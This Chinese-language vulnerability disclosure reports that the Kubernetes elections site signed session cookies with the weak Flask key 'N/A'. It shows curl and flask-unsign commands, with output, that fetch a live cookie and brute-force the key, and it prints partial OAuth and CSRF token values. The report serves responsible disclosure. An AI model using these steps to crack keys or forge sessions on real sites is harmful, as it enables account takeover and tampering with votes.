Kubernetes选举网站使用弱会话密钥可能危及选举安全
漏洞概述
安全研究人员ian通过其开发的CookieMonster工具发现,Kubernetes的选举网站elections.k8s.io使用了弱Flask SECRET_KEY。该密钥被设置为简单的字符串"N/A",用于签署身份验证cookie。
技术细节
漏洞发现
许多应用程序使用无状态cookie来保存会话信息(例如谁已登录),但很多应用程序未能正确保护这些信息。研究人员发现elections.k8s.io使用了弱Flask SECRET_KEY来签署身份验证cookie。
源代码证据
从Elekto源代码中可以看到相关警告:
1
2
3
4
5
|
# Encryption Key
#
# This is used by the Flask server and should be set to a random character
# string, please do not deploy before doing this!.
SECRET_KEY = env('APP_KEY', 'test')
|
漏洞验证
使用Flask-Unsign工具可以验证此漏洞:
1
2
3
4
5
6
7
8
9
|
% curl https://elections.k8s.io -Is | grep cookie
set-cookie: session=eyJfcGVybWFuZW50Ijp0cnVlfQ.YX-V3g.NET76NNJbweb_qagyfYl2_7TDJg; Expires=Thu, 02 Dec 2021 07:23:10 GMT; HttpOnly; Path=/
% flask-unsign -u -c "eyJfcGVybWFuZW50Ijp0cnVlfQ.YX-V3g.NET76NNJbweb_qagyfYl2_7TDJg"
[*] Session decodes to: {'_permanent': True}
[*] No wordlist selected, falling back to default wordlist..
[*] Starting brute-forcer with 8 threads..
[+] Found secret key after 8192 attempts
'N/A'
|
影响分析
弱密钥可能允许任意会话操纵。在Elekto的具体实现中,会话包含GitHub OAuth令牌而非用户ID,这使得直接获取其他用户的令牌较为困难。然而,这可能启用其他攻击方式,如结合跨站请求伪造(CSRF)与投票或身份验证流程的攻击。
会话cookie的具体结构为:
1
|
{'_permanent': True, 'authentication': 'gho_lhhuQuI2mXXCnTPT2N8...', 'csrf_token': '500ef973780f085ccd6090efa41a6...', 'state': 'd4U9sRlU9jMXgR....'}
|
处理结果
Kubernetes安全团队确认了此漏洞,但由于该工具属于社区管理工具范畴,被判定为超出漏洞赏金计划范围。尽管如此,团队仍向研究人员ian和nagli各奖励125美元奖金,并承诺修复此问题。
漏洞状态:已解决
严重程度:高危(7.5分)
弱点类型:加密问题 - 通用
奖金:250美元